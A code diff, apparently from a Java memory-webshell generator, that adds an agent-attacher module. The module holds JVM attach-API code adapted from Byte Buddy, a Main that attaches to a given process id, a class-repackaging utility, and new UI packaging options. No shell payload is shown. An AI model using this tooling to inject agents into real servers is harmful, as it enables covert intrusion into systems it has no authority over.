* Creates a new simple accessor that allows for external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||||
|
* @param classPath The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithDirectAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that implements direct attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot apply external attachment");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||||
|
* introducing the Java module system via the {@code jdk.attach} module.
|
||||||
|
*/
|
||||||
|
enum ForModularizedVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||||
|
* an IBM J9 VM.
|
||||||
|
*/
|
||||||
|
enum ForJ9Vm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.ofJ9();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||||
|
* file system.
|
||||||
|
*/
|
||||||
|
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||||
|
*/
|
||||||
|
JVM_ROOT("../lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||||
|
* In practice, several virtual machines do not return the JRE's location for the
|
||||||
|
* <i>java.home</i> property against the property's specification.
|
||||||
|
*/
|
||||||
|
JDK_ROOT("lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||||
|
* installations on Apple Macintosh computers.
|
||||||
|
*/
|
||||||
|
MACINTOSH("../Classes/classes.jar");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The Java home system property.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
private final String toolsJarPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||||
|
*
|
||||||
|
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
ForStandardToolsJarVm(String toolsJarPath) {
|
||||||
|
this.toolsJarPath = toolsJarPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||||
|
try {
|
||||||
|
return toolsJar.isFile() && toolsJar.canRead()
|
||||||
|
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||||
|
: Accessor.Unavailable.INSTANCE;
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||||
|
*/
|
||||||
|
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singelton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The property being read for locating {@code tools.jar}.
|
||||||
|
*/
|
||||||
|
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
String location = System.getProperty(PROPERTY);
|
||||||
|
if (location == null) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
} else {
|
||||||
|
File toolsJar = new File(location);
|
||||||
|
try {
|
||||||
|
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||||
|
*/
|
||||||
|
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
try {
|
||||||
|
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||||
|
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||||
|
* non-available accessor is returned.
|
||||||
|
*/
|
||||||
|
class Compound implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
private final List<AttachmentProvider> attachmentProviders;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(AttachmentProvider... attachmentProvider) {
|
||||||
|
this(Arrays.asList(attachmentProvider));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||||
|
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
if (attachmentProvider instanceof Compound) {
|
||||||
|
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||||
|
} else {
|
||||||
|
this.attachmentProviders.add(attachmentProvider);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
Accessor accessor = attachmentProvider.attempt();
|
||||||
|
if (accessor.isAvailable()) {
|
||||||
|
return accessor;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider is responsible for providing the process id of the current VM.
|
||||||
|
*/
|
||||||
|
public interface ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolves a process id for the current JVM.
|
||||||
|
*
|
||||||
|
* @return The resolved process id.
|
||||||
|
*/
|
||||||
|
String resolve();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
enum ForCurrentVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The best process provider for the current VM.
|
||||||
|
*/
|
||||||
|
private final ProcessProvider dispatcher;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a process provider that supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
ForCurrentVm() {
|
||||||
|
dispatcher = ForJava9CapableVm.make();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
return dispatcher.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||||
|
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||||
|
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||||
|
*/
|
||||||
|
protected enum ForLegacyVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
String runtimeName;
|
||||||
|
try {
|
||||||
|
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||||
|
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||||
|
}
|
||||||
|
int processIdIndex = runtimeName.indexOf('@');
|
||||||
|
if (processIdIndex == -1) {
|
||||||
|
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||||
|
} else {
|
||||||
|
return runtimeName.substring(0, processIdIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||||
|
*/
|
||||||
|
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||||
|
* if this is not possible.
|
||||||
|
*
|
||||||
|
* @return A dispatcher for the current VM.
|
||||||
|
*/
|
||||||
|
public static ProcessProvider make() {
|
||||||
|
try {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return ForLegacyVm.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString();
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||||
|
*/
|
||||||
|
protected interface AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Provides an agent jar file for attachment.
|
||||||
|
*
|
||||||
|
* @return The provided agent.
|
||||||
|
* @throws IOException If the agent cannot be written to disk.
|
||||||
|
*/
|
||||||
|
File resolve() throws IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||||
|
*/
|
||||||
|
class ForExistingAgent implements AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The supplied agent.
|
||||||
|
*/
|
||||||
|
private final File agent;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an agent provider for an existing agent.
|
||||||
|
*
|
||||||
|
* @param agent The supplied agent.
|
||||||
|
*/
|
||||||
|
protected ForExistingAgent(File agent) {
|
||||||
|
this.agent = agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public File resolve() {
|
||||||
|
return agent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||||
|
*/
|
||||||
|
protected interface AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if the current VM requires external attachment for the supplied process id.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the process to which to attach.
|
||||||
|
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||||
|
*/
|
||||||
|
boolean requiresExternalAttachment(String processId);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An installation action for creating an attachment type evaluator.
|
||||||
|
*/
|
||||||
|
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||||
|
*/
|
||||||
|
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public AttachmentTypeEvaluator run() {
|
||||||
|
try {
|
||||||
|
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
} else {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that never requires external attachment.
|
||||||
|
*/
|
||||||
|
enum Disabled implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that checks a process id against the current process id.
|
||||||
|
*/
|
||||||
|
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment type evaluator.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/16
|
||||||
|
*/
|
||||||
|
public class Main {
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
Attacher.attach(args[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -11,6 +11,9 @@ dependencies {
|
|||||||
api 'net.bytebuddy:byte-buddy:1.17.5'
|
api 'net.bytebuddy:byte-buddy:1.17.5'
|
||||||
api 'org.ow2.asm:asm-commons:9.7.1'
|
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
|
|
||||||
|
api 'net.java.dev.jna:jna:5.17.0'
|
||||||
|
api 'net.java.dev.jna:jna-platform:5.17.0'
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
api 'javax.websocket:javax.websocket-api:1.1'
|
api 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/22
|
||||||
|
*/
|
||||||
|
public class ClassRenameUtils {
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static Map<String, byte[]> renamePackage(Class<?> clazz, String packageName) {
|
||||||
|
String originalClassName = clazz.getName();
|
||||||
|
String originalPackageName = clazz.getPackage().getName();
|
||||||
|
String newClassName = packageName + "." + clazz.getSimpleName();
|
||||||
|
Map<String, byte[]> map = new HashMap<>();
|
||||||
|
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||||
|
.redefine(clazz)
|
||||||
|
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||||
|
.make()) {
|
||||||
|
map.put(newClassName, make.getBytes());
|
||||||
|
}
|
||||||
|
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(clazz);
|
||||||
|
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(clazz.getClassLoader());
|
||||||
|
TypePool typePool = TypePool.Default.of(classFileLocator);
|
||||||
|
for (String innerClassName : innerClassNames) {
|
||||||
|
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
|
||||||
|
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
|
||||||
|
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
|
||||||
|
.with(TypeValidation.DISABLED)
|
||||||
|
.redefine(innerTypeDesc, classFileLocator)
|
||||||
|
.visit(new ClassRenameVisitorWrapper(originalPackageName, packageName))
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6));
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
|
||||||
|
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
|
||||||
|
map.put(newInnerClassName, entry.getValue());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -35,7 +35,7 @@ include 'vul:vul-springboot2-webflux'
|
|||||||
include 'vul:vul-springboot3-webflux'
|
include 'vul:vul-springboot3-webflux'
|
||||||
|
|
||||||
include 'memshell-agent'
|
include 'memshell-agent'
|
||||||
|
include 'memshell-agent:memshell-agent-attacher'
|
||||||
include 'memshell-agent:memshell-agent-asm'
|
include 'memshell-agent:memshell-agent-asm'
|
||||||
include 'memshell-agent:memshell-agent-javassist'
|
include 'memshell-agent:memshell-agent-javassist'
|
||||||
include 'memshell-agent:memshell-agent-bytebuddy'
|
include 'memshell-agent:memshell-agent-bytebuddy'
|
||||||
|
|
||||||
@@ -65,7 +65,9 @@
|
|||||||
"ScriptEngine": "ScriptEngine",
|
"ScriptEngine": "ScriptEngine",
|
||||||
"SpEL": "SpEL",
|
"SpEL": "SpEL",
|
||||||
"Velocity": "Velocity",
|
"Velocity": "Velocity",
|
||||||
"XxlJob": "XXL-JOB Executor"
|
"XxlJob": "XXL-JOB Executor",
|
||||||
|
"AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
|
||||||
|
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher"
|
||||||
},
|
},
|
||||||
"title": "Package Method"
|
"title": "Package Method"
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -65,7 +65,9 @@
|
|||||||
"ScriptEngine": "内置脚本引擎",
|
"ScriptEngine": "内置脚本引擎",
|
||||||
"SpEL": "SpEL 表达式",
|
"SpEL": "SpEL 表达式",
|
||||||
"Velocity": "Velocity",
|
"Velocity": "Velocity",
|
||||||
"XxlJob": "XXL-JOB Executor"
|
"XxlJob": "XXL-JOB Executor",
|
||||||
|
"AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
|
||||||
|
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher"
|
||||||
},
|
},
|
||||||
"title": "打包方式"
|
"title": "打包方式"
|
||||||
},
|
},
|
||||||
|
|||||||
Reference in New Issue
Block a user